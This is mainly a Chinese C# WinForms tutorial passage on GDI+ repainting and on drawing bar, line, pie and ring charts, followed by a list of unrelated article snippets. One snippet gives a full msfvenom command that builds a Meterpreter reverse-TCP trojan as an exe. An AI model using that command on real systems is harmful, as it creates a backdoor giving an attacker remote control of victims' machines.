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17.2 图形绘制8

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17.2.10 重绘

先看以下例子:

【例 17.28【项目:code17-028】绘制填充矩形。

        private void button1_Click(object sender, EventArgs e)

        {

            Graphics g = this.CreateGraphics();

            g.FillRectangle(new SolidBrush(Color.Blue), new Rectangle(260, 20, 100, 100));

        }

        private void Form1_Load(object sender, EventArgs e)

        {

            Graphics g = this.CreateGraphics();

            g.FillRectangle(new SolidBrush(Color.Red), new Rectangle(20, 20, 100, 100));

        }

        private void Form1_Paint(object sender, PaintEventArgs e)

        {

            Graphics g = this.CreateGraphics();

            g.FillRectangle(new SolidBrush(Color.Green), new Rectangle(140, 20, 100, 100));

        }

这个例子在窗体Load、窗体Paint、按钮Click时分别绘制了红色、绿色、蓝色填充的矩形。

当运行时:

图17-31 运行时只显示绿色矩形

按下按钮时:

图17-32 显示绿色和蓝色矩形

最小化又恢复后:

图17-33 显示绿色矩形

原本的计划是:1、在Load的时候绘制一个红色正方形;2、在Paint的时候绘制一个绿色正方形;3、在按下按钮的时候绘制一个蓝色正方形;一共三个矩形。

运行后窗体上只显示了绿色而没有显示红色矩形,因为窗口Load事件之后是Paint事件,而Paint执行的时候将界面刷新了,对整个窗口进行了重绘:先是清除之前绘制的内容,然后按照Paint里面代码做了绘制,所以绿色矩形正常显示,而红色矩形没有显示。同样的,最小化后再恢复窗口,也触发了窗体的Paint事件,进行了重绘,所以绿色矩形在而蓝色矩形没有了。

分析了造成矩形不显示的原因,那么针对重绘的问题,也就有了以下解决方法:只需要把绘制的图形保存下来,当重绘时在绘制出来即可。

【例 17.29【项目:code17-029】防止重绘时图形消失。

        //用来保存绘制的图形

        Bitmap bmp;

        Graphics g;

        private void Form1_Load(object sender, EventArgs e)

        {

            //使图像宽度和高度与窗体相同

            bmp = new Bitmap(this.Width, this.Height);

            //通过图像创建Graphic

            g = Graphics.FromImage(bmp);

            g.FillRectangle(new SolidBrush(Color.Red), new Rectangle(20, 20, 100, 100));

            ShowImg();

        }

        private void button1_Click(object sender, EventArgs e)

        {

            g.FillRectangle(new SolidBrush(Color.Green), new Rectangle(140, 20, 100, 100));

            g.FillRectangle(new SolidBrush(Color.Blue), new Rectangle(260, 20, 100, 100));

            ShowImg();

        }

        private void Form1_Paint(object sender, PaintEventArgs e)

        {

            ShowImg();

        }

        //在窗体上显示图像

        private void ShowImg()

        {

            Graphics gPaint = this.CreateGraphics();

            gPaint.DrawImage(bmp, new Point(0, 0));

        }

        private void Form1_FormClosing(object sender, FormClosingEventArgs e)

        {

            g.Dispose();

            bmp.Dispose();

        }

这下,窗体Load时的红色正方形以及按下按钮后的绿色和蓝色矩形,即使窗体最小化也不怕消失了。

17.2.11 绘制统计图

【例 17.30【项目:code17-030】绘制统计图

假设知道某个公司1-4季度的经营利润情况,完成统计图的绘制。

新建一个窗体,主要使用到的控件如下:

添加4个Label控件,分别是“一季度”、“二季度”、“三季度”、“四季度”。

添加4个NumericUpDown控件,名称从 nudSeason1至 nudSeason4。

添加1个ComboBox控件,名称为cbType,代码中为它的Items增加柱状图、折线图、扇形图、环形图。

添加1个PictureBox控件,名称为pbShow,将在这里面显示统计图。

添加2个Button控件,名称分别为btnCreate和btnSave,Text属性分别为“生成”和“保存”。当按下“生成”按钮后,将在pbShow中显示统计图;当按下“保存”按钮后,将弹出保存文件对话框,设置文件名后将统计图保存下来。

具体代码如下:

        Graphics g;

        Bitmap bmp;

        //刻度线每份对应的数量

        float perScaleValue;

        //原点x轴移动

        int TranslateX = 40;

        //原点y轴移动

        int TranslateY = 40;

        //季度(x轴)之间间隔

        int xSpan = 60;

        private void Form1_Load(object sender, EventArgs e)

        {

            bmp = new Bitmap(pbShow.Width, pbShow.Height);

            g = Graphics.FromImage(bmp);

            cbType.Items.Add("柱形图");

            cbType.Items.Add("折线图");

            cbType.Items.Add("扇形图");

            cbType.Items.Add("环形图");

            cbType.Text = cbType.Items[0].ToString();

        }

        private void btnCreate_Click(object sender, EventArgs e)

        {

            g.Clear(System.Drawing.Color.White);

            switch(cbType.Text)

            {

                case "柱形图":

                    DrawAxis();

                    DrawBarGraph();

                    break;

                case "折线图":

                    DrawAxis();

                    DrawLine();

                    break;

                case "扇形图":

                    DrawPie();

                    break;

                case "环形图":

                    DrawAnnular();

                    break;

                default:

                    break;

            }

            pbShow.Image = bmp;

        }

       

        //绘制坐标轴

        private void DrawAxis()

        {

            int[] seasonValue = new int[4];

            seasonValue[0] = (int)nudSeason1.Value;

            seasonValue[1] = (int)nudSeason2.Value;

            seasonValue[2] = (int)nudSeason3.Value;

            seasonValue[3] = (int)nudSeason4.Value;

            //获得最大值

            int seasonMax = seasonValue.Max();

            //获得需要的刻度数量

            int scaleCount;

            scaleCount = seasonMax / 10 + 1;

            //使用红色绘制坐标轴

            Pen p = new Pen(System.Drawing.Color.Red, 1);

            //坐标轴末尾箭头

            p.EndCap = LineCap.ArrowAnchor;

            int AxisYHeight;

            AxisYHeight = pbShow.Height - TranslateY * 2;

            perScaleValue = AxisYHeight / scaleCount;

            //坐标原点

            int originX = TranslateX;

            int originY = pbShow.Height - TranslateY;

            Point originPoint = new Point(originX, originY);

            //绘制横坐标

            g.DrawLine(p, originPoint, new Point(pbShow.Width - TranslateX, originY));

            //绘制纵坐标

            g.DrawLine(p, originPoint, new Point(originX, TranslateY));

            //红色绘制坐标轴刻度

            Pen pAxisY = new Pen(System.Drawing.Color.Red, 1);

            Point AxisYPos;

            string AxisYValue;

            //在纵轴上标明刻度线,每10个刻度标注一下

            for(int i = 0;i< scaleCount;i++)

            {

                //刻度值

                AxisYValue = (i * 10).ToString();

                //刻度位置

                AxisYPos = new Point(20, originY - i * (int)perScaleValue - 5);

                //标明刻度值

                g.DrawString(AxisYValue, new Font("宋体", 10), new SolidBrush(System.Drawing.Color.Blue), AxisYPos);

                //画刻度,实际0刻度线是和横坐标轴重合

                g.DrawLine(pAxisY, new Point(TranslateX, originY - i * (int)perScaleValue), new Point(TranslateX + 10, originY - i * (int)perScaleValue));

            }

        }

       

        //绘制柱状图

        private void DrawBarGraph()

        {

            //标注每个季度

            int[] seasonValue = new int[4];

            seasonValue[0] = (int)nudSeason1.Value;

            seasonValue[1] = (int)nudSeason2.Value;

            seasonValue[2] = (int)nudSeason3.Value;

            seasonValue[3] = (int)nudSeason4.Value;

            string[] seasonName = { "一季度", "二季度", "三季度", "四季度" };

            //立柱(矩形)的左上角坐标点

            int recX, recY;

            //循环画四个矩形

            for(int i = 0;i<4;i++)

            {

                recX = (i + 1) * xSpan;

                recY = pbShow.Height - TranslateY - (int)(seasonValue[i] / 10 * perScaleValue);

                g.FillRectangle(new SolidBrush(Color.Blue), new Rectangle(recX, recY, 40, (int)(seasonValue[i] / 10 * perScaleValue)));

            }

            //标出每个季度

            int strX, strY;

            for(int i =0;i<4;i++)

            {

                strX = (i + 1) * xSpan - 5;

                strY = pbShow.Height - TranslateY + 10;

                g.DrawString(seasonName[i], new Font("黑体", 10), new SolidBrush(Color.Blue), new Point(strX, strY));

            }

        }

       

        //绘制折线图

        private void DrawLine()

        {

            //标注每个季度

            int[] seasonValue = new int[4];

            seasonValue[0] = (int)nudSeason1.Value;

            seasonValue[1] = (int)nudSeason2.Value;

            seasonValue[2] = (int)nudSeason3.Value;

            seasonValue[3] = (int)nudSeason4.Value;

            string[] seasonName = { "一季度", "二季度", "三季度", "四季度" };

            //先要获得每个值所在的坐标点

            //为了显眼,绘制点的显示为一个直径为8的蓝色圆形

            int signX, signY;

            //将每个坐标点存入数组,画折线时候需要

            Point[] pointSign = new Point[4];

            for(int i =0; i<4; i++)

            {

                signX = (i + 1) * xSpan + 10;

                signY = pbShow.Height - TranslateY - (int)(seasonValue[i] / 10 * perScaleValue);

                pointSign[i] = new Point(signX, signY);

                //请注意画园时候的Rectangle位置

                g.FillEllipse(new SolidBrush(Color.Blue), new Rectangle(signX - 4, signY - 4, 8, 8));

            }

            //使用红色画折线

            Pen penSign = new Pen(Color.Red, 2);

            //将四个坐标点连接起来,注意画的是三条线

            for (int i = 0; i < 3; i++)

                g.DrawLine(penSign, pointSign[i], pointSign[i + 1]);

            //标出每个季度

            int strX, strY;

            for(int i = 0;i<4;i++)

            {

                strX = (i + 1) * xSpan - 5;

                strY = pbShow.Height - TranslateY + 10;

                g.DrawString(seasonName[i], new Font("黑体", 10), new SolidBrush(Color.Blue), new Point(strX, strY));

            }

        }

       

        //绘制扇形图

        private void DrawPie()

        {

            //标注每个季度

            int[] seasonValue = new int[4];

            seasonValue[0] = (int)nudSeason1.Value;

            seasonValue[1] = (int)nudSeason2.Value;

            seasonValue[2] = (int)nudSeason3.Value;

            seasonValue[3] = (int)nudSeason4.Value;

            string[] seasonName = { "一季度", "二季度", "三季度", "四季度" };

            //我们要获得4个季度总的盈利

            int seasonSum = 0;

            for (int i = 0; i < 4; i++)

                seasonSum += seasonValue[i];

            //根据总赢利情况,来获得每个季度在饼图中所占的份额(角度)

            //为了简化起见,这里直接取整数

            int[] seasonAngle = new int[5];

            seasonAngle[0] = 0;

            seasonAngle[1] = seasonValue[0] * 360 / seasonSum;

            seasonAngle[2] = seasonValue[1] * 360 / seasonSum + seasonAngle[1];

            seasonAngle[3] = seasonValue[2] * 360 / seasonSum + seasonAngle[2];

            seasonAngle[4] = 360;

            //分别用4种颜色表示不同季度的盈利

            System.Drawing.Color[] seasonColor = { Color.Red, Color.Blue, Color.Green, Color.GreenYellow };

            for(int i = 0;i<4;i++)

            {

                g.FillPie(new SolidBrush(seasonColor[i]), new Rectangle(50, 80, 200, 200), seasonAngle[i], seasonAngle[i + 1] - seasonAngle[i]);

                //饼图中特别需要说明每个季度对应的颜色

                g.FillRectangle(new SolidBrush(seasonColor[i]), new Rectangle(260, i * 30 + 20, 30, 20));

                //标出每个季度

                g.DrawString(seasonName[i], new Font("宋体", 12), new SolidBrush(Color.Black), new Point(300, i * 30 + 20));

            }

        }

        //绘制环形图

        private void DrawAnnular()

        {

            //标注每个季度

            int[] seasonValue = new int[4];

            seasonValue[0] = (int)nudSeason1.Value;

            seasonValue[1] = (int)nudSeason2.Value;

            seasonValue[2] = (int)nudSeason3.Value;

            seasonValue[3] = (int)nudSeason4.Value;

            string[] seasonName = { "一季度", "二季度", "三季度", "四季度" };

            //我们要获得4个季度总的盈利

            int seasonSum = 0;

            for (int i = 0; i < 4; i++)

                seasonSum += seasonValue[i];

            //根据总赢利情况,来获得每个季度在饼图中所占的份额(角度)

            //为了简化起见,这里直接取整数

            int[] seasonAngle = new int[5];

            seasonAngle[0] = 0;

            seasonAngle[1] = seasonValue[0] * 360 / seasonSum;

            seasonAngle[2] = seasonValue[1] * 360 / seasonSum + seasonAngle[1];

            seasonAngle[3] = seasonValue[2] * 360 / seasonSum + seasonAngle[2];

            seasonAngle[4] = 360;

            //圆环内弧与外弧之间的距离

            int xSpace = 50;

            //分别用4种颜色表示不同季度的盈利

            Color[] seasonColor = { Color.Red, Color.Blue, Color.Green, Color.GreenYellow };

            //这里使用GraphicsPath和Region

            for(int i=0; i<4;i++)

            {

                //大的扇形

                GraphicsPath pathPieMax = new GraphicsPath();

                pathPieMax.AddPie(new Rectangle(50, 80, 200, 200), seasonAngle[i], seasonAngle[i + 1] - seasonAngle[i]);

                //小的扇形

                GraphicsPath pathPieMin = new GraphicsPath();

                pathPieMin.AddPie(new Rectangle(50 + xSpace, 80 + xSpace, 200 - xSpace * 2, 200 - xSpace * 2), seasonAngle[i], seasonAngle[i + 1] - seasonAngle[i]);

                //圆环=大的扇形-小的扇形

                Region regoinAnnular = new Region(pathPieMax);

                regoinAnnular.Exclude(pathPieMin);

                //填充区域

                g.FillRegion(new SolidBrush(seasonColor[i]), regoinAnnular);

                //饼图中特别需要说明每个季度对应的颜色

                g.FillRectangle(new SolidBrush(seasonColor[i]), new Rectangle(260, i * 30 + 20, 30, 20));

                //标出每个季度

                g.DrawString(seasonName[i], new Font("宋体", 12), new SolidBrush(Color.Black), new Point(300, i * 30 + 20));

            }

        }

        //保存图片

        private void btnSave_Click(object sender, EventArgs e)

        {

            SaveFileDialog sfd = new SaveFileDialog();

            sfd.Filter = "JPG文件|*.jpg";

            if (sfd.ShowDialog() != DialogResult.OK)

                return;

            string filename = sfd.FileName;

            bmp.Save(filename);

        }

运行结果如下图所示:

图17-34 生成环状图

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doris:主键模型的导入更新

这篇文档主要介绍 Doris 主键模型基于导入的更新。 整行更新​ 使用 Doris 支持的 Stream Load、Broker Load、Routine Load、Insert Into 等导入方式&#xff0c;向主键模型&#xff08;Unique 模型&#xff09;导入数据时&#xff0c;如果没有相应主键的数据行&#xff0c;…...

日志2025.2.1

日志2025.2.1 1.做了敌人状态机 public class EnermyStateMachine { public EnermyState currentState { get; private set; } public void InitializeState(EnermyState startState) { currentState startState; currentState.Enter(); } public void Change…...

RK3568使用QT操作LED灯

文章目录 一、QT中操作硬件设备思路Linux 中的设备文件操作硬件设备的思路1. 打开设备文件2. 写入数据到设备3. 从设备读取数据4. 设备控制5. 异常处理在 Qt 中操作设备的典型步骤实际应用中的例子:控制 LED总结二、QT实战操作LED灯设备1. `mainwindow.h` 头文件2. `mainwindo…...

Rank-analysis-1.2——一款基于LCU API的排位分析工具,大四学生独立开发

LOL Rank Record Analysis&#xff1a;一款基于LCU API的排位分析工具&#xff0c;大四学生独立开发&#xff01; 大家好&#xff01;我是河南科技学院的大四学生&#xff0c;今天给大家分享一个我自己开发的软件——LOL Rank Record Analysis。这是一个基于 Riot 提供的 LCU …...

关于系统重构实践的一些思考与总结

文章目录 一、前言二、系统重构的范式1.明确目标和背景2.兼容屏蔽对上层的影响3.设计灰度迁移方案3.1 灰度策略3.2 灰度过程设计3.2.1 case1 业务逻辑变更3.2.2 case2 底层数据变更&#xff08;数据平滑迁移&#xff09;3.2.3 case3 在途新旧流程兼容3.2.4 case4 接口变更3.2.5…...

代码随想录-训练营-day17

235. 二叉搜索树的最近公共祖先 - 力扣&#xff08;LeetCode&#xff09; /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNode *left;* TreeNode *right;* TreeNode(int x) : val(x), left(NULL), right(NULL) {}* };*/class S…...

C++,STL,【目录篇】

文章目录 一、简介二、内容提纲第一部分&#xff1a;STL 概述第二部分&#xff1a;STL 容器第三部分&#xff1a;STL 迭代器第四部分&#xff1a;STL 算法第五部分&#xff1a;STL 函数对象第六部分&#xff1a;STL 高级主题第七部分&#xff1a;STL 实战应用 三、写作风格四、…...

《数据可视化新高度:Graphy的AI协作变革》

在数据洪流奔涌的时代&#xff0c;企业面临的挑战不再仅仅是数据的收集&#xff0c;更在于如何高效地将数据转化为洞察&#xff0c;助力决策。Graphy作为一款前沿的数据可视化工具&#xff0c;凭借AI赋能的团队协作功能&#xff0c;为企业打开了数据协作新局面&#xff0c;重新…...

abc 390 D(暴搜 复杂度用 bell数 证明 n 的集合的划分方法的数目)

D题意&#xff1a; 将 长度为 N 的数组 划分为集合 有多少种不同的 异或和 这道题做出来和bell 数没什么关系&#xff0c;如果要证明复杂度那么就需要bell 数 #include <bits/stdc.h> using namespace std; typedef pair<int, int> PII; #define int long long i…...

AJAX综合案例——图书管理

黑马程序员视频地址&#xff1a; AJAX-Day02-10.案例_图书管理AJAX-Day02-10.案例_图书管理_总结_V1.0是黑马程序员前端AJAX入门到实战全套教程&#xff0c;包含学前端框架必会的&#xff08;ajaxnode.jswebpackgit&#xff09;&#xff0c;一套全覆盖的第25集视频&#xff0c…...

计算机网络 笔记 网络层 3

IPv6 IPv6 是互联网协议第 6 版&#xff08;Internet Protocol Version 6&#xff09;的缩写&#xff0c;它是下一代互联网协议&#xff0c;旨在解决 IPv4 面临的一些问题&#xff0c;以下是关于 IPv6 的详细介绍&#xff1a; 产生背景&#xff1a; 随着互联网的迅速发展&…...

Web服务器启动难题:Spring Boot框架下的异常处理解析

摘要 在尝试启动Web服务器时遇到了无法启动的问题&#xff0c;具体错误为org.springframework.boot.web.server.WebServerException。这一异常表明Spring Boot框架在初始化Web服务器过程中出现了故障。通常此类问题源于配置文件错误、端口冲突或依赖项缺失等。排查时应首先检查…...

在LINUX上安装英伟达CUDA Toolkit

下载安装包 wget https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda-repo-rhel8-12-8-local-12.8.0_570.86.10-1.x86_64.rpm 安装RPM包 sudo rpm -i cuda-repo-rhel8-12-8-local-12.8.0_570.86.10-1.x86_64.rpm sudo dnf clean all sudo dnf…...

计算机视觉和图像处理

计算机视觉与图像处理的最新进展 随着人工智能技术的飞速发展&#xff0c;计算机视觉和图像处理作为其中的重要分支&#xff0c;正逐步成为推动科技进步和产业升级的关键力量。 一、计算机视觉的最新进展 计算机视觉&#xff0c;作为人工智能的重要分支&#xff0c;主要研究如…...

Spring Boot 日志:项目的“行车记录仪”

一、什么是Spring Boot日志 &#xff08;一&#xff09;日志引入 在正式介绍日志之前&#xff0c;我们先来看看上篇文章中&#xff08;Spring Boot 配置文件&#xff09;中的验证码功能的一个代码片段&#xff1a; 这是一段校验用户输入的验证码是否正确的后端代码&#xff0c…...

ComfyUI中For Loop的使用

研究了半天&#xff0c;终于弄明白了如何使用For Loop。 1、在For中节点&#xff0c;必须有输出连接到For Loop End的initial_value点&#xff0c;才能确保节点执行完毕后才 进入下一轮循环&#xff0c;否则&#xff0c;可能导致节点没执行完&#xff0c;就进入下一个循环了。…...

网站快速收录:利用网站导航优化用户体验

本文转自&#xff1a;百万收录网 原文链接&#xff1a;https://www.baiwanshoulu.com/44.html 网站快速收录与用户体验的提升密切相关&#xff0c;而网站导航作为用户访问网站的“指南针”&#xff0c;其优化对于实现这一目标至关重要。以下是一些利用网站导航优化用户体验&am…...

FLTK - FLTK1.4.1 - 搭建模板,将FLTK自带的实现搬过来做实验

文章目录 FLTK - FLTK1.4.1 - 搭建模板&#xff0c;将FLTK自带的实现搬过来做实验概述笔记my_fltk_test.cppfltk_test.hfltk_test.cxx用adjuster工程试了一下&#xff0c;好使。END FLTK - FLTK1.4.1 - 搭建模板&#xff0c;将FLTK自带的实现搬过来做实验 概述 用fluid搭建UI…...

c#aot做跨平台动态库

c#aot技术&#xff0c;很多人都觉得是垃圾&#xff0c;没有用&#xff0c;其实还是很有用的。.net发展这么多年&#xff0c;有很多很好的功能&#xff0c;你可以把这些功能做成动态库供rust调用&#xff0c;供c/c调用。你还真别看不起这些功能&#xff0c;当你需要&#xff0c;…...

使用Pygame制作“打砖块”游戏

1. 前言 打砖块&#xff08;Breakout / Arkanoid&#xff09; 是一款经典街机游戏&#xff0c;玩家控制一个可左右移动的挡板&#xff0c;接住并反弹球&#xff0c;击碎屏幕上方的砖块。随着砖块被击碎&#xff0c;不仅能获得分数&#xff0c;还可以体验到不断加速或复杂的反弹…...

Autosar-以太网是怎么运行的?(原理部分)

写在前面&#xff1a; 入行一段时间了&#xff0c;基于个人理解整理一些东西&#xff0c;如有错误&#xff0c;欢迎各位大佬评论区指正&#xff01;&#xff01;&#xff01; 1.TCP/IP协议详解 TCP/IP协议包含了一系列的协议&#xff0c;也叫TCP/IP协议族&#xff08;TCP/IP P…...

小程序-基础加强-自定义组件

前言 这次讲自定义组件 1. 准备今天要用到的项目 2. 初步创建并使用自定义组件 这样就成功在home中引入了test组件 在json中引用了这个组件才能用这个组件 现在我们来实现全局引用组件 在app.json这样使用就可以了 3. 自定义组件的样式 发现页面里面的文本和组件里面的文…...

线程池以及在QT中的接口使用

文章目录 前言线程池架构组成**一、任务队列&#xff08;Task Queue&#xff09;****二、工作线程组&#xff08;Worker Threads&#xff09;****三、管理者线程&#xff08;Manager Thread&#xff09;** 系统协作流程图解 一、QRunnable二、QThreadPool三、线程池的应用场景W…...

Cubemx文件系统挂载多设备

cubumx版本&#xff1a;6.13.0 芯片&#xff1a;STM32F407VET6 在上一篇文章中介绍了Cubemx的FATFS和SD卡的配置&#xff0c;由于SD卡使用的是SDIO通讯&#xff0c;因此具体驱动不需要自己实现&#xff0c;Cubemx中就可以直接配置然后生成SDIO的驱动&#xff0c;并将SD卡驱动和…...

NeetCode刷题第19天(2025.1.31)

文章目录 099 Maximum Product Subarray 最大乘积子数组100 Word Break 断字101 Longest Increasing Subsequence 最长递增的子序列102 Maximum Product Subarray 最大乘积子数组103 Partition Equal Subset Sum 分区等于子集和104 Unique Paths 唯一路径105 Longest Common Su…...

网站快速收录:如何设置robots.txt文件?

本文转自&#xff1a;百万收录网 原文链接&#xff1a;https://www.baiwanshoulu.com/34.html 为了网站快速收录而合理设置robots.txt文件&#xff0c;需要遵循一定的规则和最佳实践。robots.txt文件是一个纯文本文件&#xff0c;它告诉搜索引擎爬虫哪些页面可以访问&#xff…...

(超实用教程)利用MSF制作exe程序木马

msfvenom 是攻击载荷&#xff08;payload&#xff09;生成器 格式&#xff1a; msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.110.32 LPORT4456 -f exe -o payload1.exe -p&#xff1a;指定需要使用的payload -f&#xff1a;指定输出格式 -o&#xff1a;保…...

Spring Boot + Facade Pattern : 通过统一接口简化多模块业务

文章目录 Pre概述在编程中&#xff0c;外观模式是如何工作的&#xff1f;外观设计模式 UML 类图外观类和子系统的关系优点案例外观模式在复杂业务中的应用实战运用1. 项目搭建与基础配置2. 构建子系统组件航班服务酒店服务旅游套餐服务 3. 创建外观类4. 在 Controller 中使用外…...

4 [危机13小时追踪一场GitHub投毒事件]

事件概要 自北京时间 2024.12.4 晚间6点起&#xff0c; GitHub 上不断出现“幽灵仓库”&#xff0c;仓库中没有任何代码&#xff0c;只有诱导性的病毒文件。当天&#xff0c;他们成为了 GitHub 上 star 增速最快的仓库。超过 180 个虚假僵尸账户正在传播病毒&#xff0c;等待不…...